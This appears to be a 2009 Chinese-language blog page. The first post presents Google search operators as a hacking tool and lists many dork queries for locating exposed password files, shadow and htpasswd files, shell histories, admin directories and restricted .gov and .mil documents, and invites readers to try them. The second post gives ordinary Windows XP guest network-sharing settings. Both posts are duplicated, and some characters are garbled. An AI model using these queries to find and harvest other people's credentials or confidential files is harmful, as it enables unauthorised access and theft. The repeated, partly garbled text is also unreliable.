google 搜尋器
其實 google 搜尋器變了駭客工具也不是新聞，老手早亦用到，新手的也可來試試。
只要將以下字串作搜尋的話，你都得到很多密碼，當然若要得心應手便需要更多研究及借助其他軟件，但初步先懂得去找。
inurl
「inurl」是駭客重要的搜尋方法，可搜到網址包括的關鍵字，例如輸入「allinurl:login password」作搜尋，便會很易找到有 login 和 password 的網頁。
filetype
「filetype」是駭客專用語法，例如想找 mdb 的資料庫檔案，可用「password filetype:mdb」作搜尋，便會找到密碼文件，進階用法可配合 inurl: 使用，例如 girl filetype:jpg site:com∞ 便可搜到所有 .com 網站，而檔案為 girl.jpg 或網頁內容有 girl 字串的網頁。
Index of /admin
「Index of /admin」搜到的結果大多數是容釣洏?index browsing 的網站，隨便按下一個連結便看到網站的資料夾和檔案分佈。
"Index of /" +password.txt
有些站長會將密碼儲存成 password.txt 檔案，如配合 index browsing 的弁鈺N google 的關鍵字串寫成「"Index of /" +password.txt」作搜尋，便找到很多 password.txt 檔案。
以下還有更多輸入搜尋法，有時間可自行玩玩！
"Index of /admin"
"Index of /password"
"Index of /mail"
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
administrators.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
inurl:passwd filetype:txt
inurl:admin filetype:db
inurl:iisadmin
inurl:"auth_user_file.txt"
inurl:"wwwroot/*."
top secret site:mil
confidential site:mil
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members or accounts
intitle:"index of" user_carts or user_cart
只要將以下字串作搜尋的話，你都得到很多密碼，當然若要得心應手便需要更多研究及借助其他軟件，但初步先懂得去找。
inurl
「inurl」是駭客重要的搜尋方法，可搜到網址包括的關鍵字，例如輸入「allinurl:login password」作搜尋，便會很易找到有 login 和 password 的網頁。
filetype
「filetype」是駭客專用語法，例如想找 mdb 的資料庫檔案，可用「password filetype:mdb」作搜尋，便會找到密碼文件，進階用法可配合 inurl: 使用，例如 girl filetype:jpg site:com∞ 便可搜到所有 .com 網站，而檔案為 girl.jpg 或網頁內容有 girl 字串的網頁。
Index of /admin
「Index of /admin」搜到的結果大多數是容釣洏?index browsing 的網站，隨便按下一個連結便看到網站的資料夾和檔案分佈。
"Index of /" +password.txt
有些站長會將密碼儲存成 password.txt 檔案，如配合 index browsing 的弁鈺N google 的關鍵字串寫成「"Index of /" +password.txt」作搜尋，便找到很多 password.txt 檔案。
以下還有更多輸入搜尋法，有時間可自行玩玩！
"Index of /admin"
"Index of /password"
"Index of /mail"
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
administrators.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
inurl:passwd filetype:txt
inurl:admin filetype:db
inurl:iisadmin
inurl:"auth_user_file.txt"
inurl:"wwwroot/*."
top secret site:mil
confidential site:mil
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members or accounts
intitle:"index of" user_carts or user_cart
9月 21, 2009
網路芳鄰訪問XP的用戶驗證問題
首先關於啟用Guest為什麼不能訪問的問題：
1、預設情況下，XP 禁用Guest帳戶
2、預設情況下，XP的本機安全原則禁止Guest用戶從網路訪問
3、預設情況下，XP的 本機安全原則 -> 安全性選項 裡，"帳戶：使用空密碼用戶只能進行控制台登入"是啟用的，也就是說，空密碼的任何帳戶都不能從網路訪問只能本機登入，Guest預設空密碼......
所以，如果需要使用Guest用戶訪問XP的話，要進行上面的三個設定：啟用Guest、修改安全原則允許Guest從網路訪問、禁用3里面的安全原則或者給Guest加個密碼。
有時還會遇到另外一種情況：訪問XP的時候，登入對話視窗中的用戶名是灰的,始終是Guest用戶，不能輸入別的用戶帳號。
原因是這個安全原則在作怪（系統管理工具 -> 本機安全原則 -> 安全性選項 -> "網路訪問：本機帳戶的共用和安全模式"）。預設情況下，XP的訪問方式是"僅來賓"的方式，那麼你訪問它，當然就固定為Guest不能輸入其他用戶帳號了。
所以，訪問XP最簡單的方法就是：不用啟用Guest，僅修改上面的安全原則為"傳統"就行了。別的系統訪問XP就可以自己輸入帳戶訊息。
開始 -> 執行 -> gpedit.msc -> 電腦設定 -> windows設定 -> 本機原則 -> 用戶權利分配 -> 移除"拒絕從網路訪問這台電腦"中的guest用戶。
1、預設情況下，XP 禁用Guest帳戶
2、預設情況下，XP的本機安全原則禁止Guest用戶從網路訪問
3、預設情況下，XP的 本機安全原則 -> 安全性選項 裡，"帳戶：使用空密碼用戶只能進行控制台登入"是啟用的，也就是說，空密碼的任何帳戶都不能從網路訪問只能本機登入，Guest預設空密碼......
所以，如果需要使用Guest用戶訪問XP的話，要進行上面的三個設定：啟用Guest、修改安全原則允許Guest從網路訪問、禁用3里面的安全原則或者給Guest加個密碼。
有時還會遇到另外一種情況：訪問XP的時候，登入對話視窗中的用戶名是灰的,始終是Guest用戶，不能輸入別的用戶帳號。
原因是這個安全原則在作怪（系統管理工具 -> 本機安全原則 -> 安全性選項 -> "網路訪問：本機帳戶的共用和安全模式"）。預設情況下，XP的訪問方式是"僅來賓"的方式，那麼你訪問它，當然就固定為Guest不能輸入其他用戶帳號了。
所以，訪問XP最簡單的方法就是：不用啟用Guest，僅修改上面的安全原則為"傳統"就行了。別的系統訪問XP就可以自己輸入帳戶訊息。
開始 -> 執行 -> gpedit.msc -> 電腦設定 -> windows設定 -> 本機原則 -> 用戶權利分配 -> 移除"拒絕從網路訪問這台電腦"中的guest用戶。
訂閱：
文章 (Atom)